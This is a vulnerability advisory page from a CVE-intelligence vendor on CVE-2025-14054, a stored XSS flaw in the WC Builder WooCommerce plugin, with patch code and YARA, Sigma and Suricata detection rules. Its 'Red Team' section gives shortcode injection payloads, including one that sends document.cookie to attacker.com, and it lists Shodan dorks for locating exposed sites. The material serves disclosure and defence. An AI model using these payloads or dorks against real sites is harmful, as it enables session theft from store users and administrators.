☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.4 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-14054

CVE-2025-14054 Cross-Site Scripting in Wc builder
📅 PUBLISHED: 2025-12-21 02:20 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
4.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-14054 is a Stored Cross-Site Scripting (XSS) vulnerability in the WC Builder – WooCommerce Page Builder for WPBakery WordPress plugin, affecting all versions up to and including 1.2.0. The flaw resides in the wpbforwpbakery_product_additional_information shortcode, where insufficient input sanitization and output escaping on the heading_color parameter (and other styling parameters) allows authenticated attackers with Shop Manager-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious shortcode.

This vulnerability is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx). The CVSS score of 4.4 (Medium) reflects the need for authenticated access and user interaction, but the potential for persistent compromise of WooCommerce store pages makes it a significant threat to e-commerce operations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No open-source patch data (OSV) or GitHub advisory is available, indicating the vendor has not yet released a fix. Users should monitor the plugin’s update channel and consider temporary mitigations.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 4.4 (Medium)
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): High – Requires Shop Manager-level authentication.
  • User Interaction (UI): Required – A victim must visit the compromised page.
  • Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Script injection can modify page content.
  • Availability (A): Low – Potential for minor disruption.

Threat Level: Medium. While the EPSS score is 0.0% (indicating low exploitation likelihood currently), the vulnerability is trivial to exploit once authenticated and can lead to persistent defacement, credential theft, or malware distribution on WooCommerce store pages.

Deep Dive & Mechanics

The vulnerability exists in the wpbforwpbakery_product_additional_information shortcode, which is part of the WC Builder plugin. This shortcode renders product information on WooCommerce pages and accepts styling parameters such as heading_color. The plugin fails to properly sanitize user input and escape output when rendering these parameters in the HTML.

Root Cause:

  • Insufficient Input Sanitization: The heading_color parameter is not validated against a whitelist of allowed CSS values or sanitized to remove JavaScript event handlers.
  • Insufficient Output Escaping: When the shortcode is rendered, the parameter value is directly inserted into the HTML without proper escaping (e.g., using esc_attr() or wp_kses()).

Attack Flow:

  1. An authenticated attacker with Shop Manager privileges (or higher) edits a WooCommerce product page or creates a new page using the vulnerable shortcode.
  2. The attacker sets the heading_color parameter to a malicious payload, such as: " onfocus="alert(1)" autofocus="true".
  3. The plugin stores this payload in the WordPress database without sanitization.
  4. When any user (including administrators or customers) visits the page, the payload executes in their browser context.

Impact:

  • Theft of session cookies or authentication tokens.
  • Redirection to phishing pages.
  • Defacement of WooCommerce store pages.
  • Installation of keyloggers or other client-side malware.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.2.0 and earlier):

// In shortcode handler
$heading_color = $atts['heading_color'];
echo '<div style="color: ' . $heading_color . ';">' . $content . '</div>';

Patched Code (hypothetical fix):

// Properly sanitize and escape
$heading_color = isset($atts['heading_color']) ? sanitize_hex_color($atts['heading_color']) : '';
if (empty($heading_color)) {
    $heading_color = 'inherit';
}
echo '<div style="color: ' . esc_attr($heading_color) . ';">' . esc_html($content) . '</div>';

The patched version uses sanitize_hex_color() to ensure only valid hex color codes are accepted, and esc_attr() to safely output the value. Additionally, esc_html() is applied to the content to prevent XSS in other parameters.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress installation with WC Builder plugin version ≤ 1.2.0.
  • Valid credentials for a Shop Manager-level account or higher.

Exploitation Steps:

  1. Log in to WordPress as a Shop Manager.
  2. Navigate to a WooCommerce product page or create a new page using the wpbforwpbakery_product_additional_information shortcode.
  3. In the page editor, set the shortcode parameters to include a malicious payload. For example:
    [wpbforwpbakery_product_additional_information heading_color="red" onfocus="alert(document.cookie)" autofocus="true"]
    
  4. Save the page.
  5. When any user visits the page, the JavaScript executes.

Alternative Payload (Steal Cookies):

[wpbforwpbakery_product_additional_information heading_color="red" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="true"]

Note: No public exploit code (Exploit-DB) is available for this CVE.

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress database for suspicious shortcode parameters containing event handlers (e.g., onfocus, onclick, onload).
  • Review WooCommerce product pages for unexpected JavaScript in styling attributes.
  • Use Web Application Firewall (WAF) rules to block requests with XSS patterns in shortcode parameters.

Hardening:

  • Restrict Shop Manager privileges to only trusted users.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Apply virtual patching via WAF until an official patch is released.

Indicators of Compromise (IOCs)

  • File-based IOCs:

    • Modified WordPress posts/pages containing the vulnerable shortcode with suspicious heading_color values.
    • Presence of JavaScript event handlers (e.g., onfocus, onmouseover) in shortcode parameters.
  • Network-based IOCs:

    • Outbound HTTP requests to unknown domains from the WordPress server (potential data exfiltration).
    • Unusual referrer headers or user-agent strings in requests to WooCommerce pages.
  • Log-based IOCs:

    • WordPress audit logs showing edits to product pages by Shop Manager accounts with unusual shortcode parameters.
    • Web server logs containing requests with XSS payloads in query strings or POST data.

Detection Engineering

YARA Rule

rule CVE_2025_14054_WC_Builder_XSS {
    meta:
        description = "Detects malicious shortcode parameters in WC Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14054"
    strings:
        $shortcode = /\[wpbforwpbakery_product_additional_information[^\]]*heading_color\s*=\s*["'][^"']*?(on\w+\s*=|javascript:)/i
        $event_handler = /(onfocus|onclick|onload|onmouseover|onerror)\s*=\s*["']/i
    condition:
        $shortcode or $event_handler
}

Sigma Rule

title: CVE-2025-14054 - Stored XSS in WC Builder Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via heading_color parameter in WC Builder shortcode
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'heading_color'
            - 'onfocus'
            - 'onclick'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of CSS color values (unlikely to contain event handlers)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14054 - Stored XSS in WC Builder Plugin"; flow:to_server,established; content:"heading_color"; http_uri; pcre:"/(on\w+\s*=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if it is not critical for business operations.
  2. Restrict Shop Manager privileges to only essential users and monitor their activity.
  3. Implement a Web Application Firewall (WAF) rule to block requests containing XSS patterns in shortcode parameters.

Long-term Fix:

  • Apply an official patch from the vendor once released. Monitor the WordPress plugin repository for updates.
  • If no patch is forthcoming, consider replacing the plugin with an alternative WooCommerce page builder.

Workaround:

  • Manually edit the plugin’s shortcode handler to add input sanitization and output escaping (as shown in the patched code example). This requires custom development and testing.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/wc-builder"
http.html:"wpbforwpbakery_product_additional_information"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-14054/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.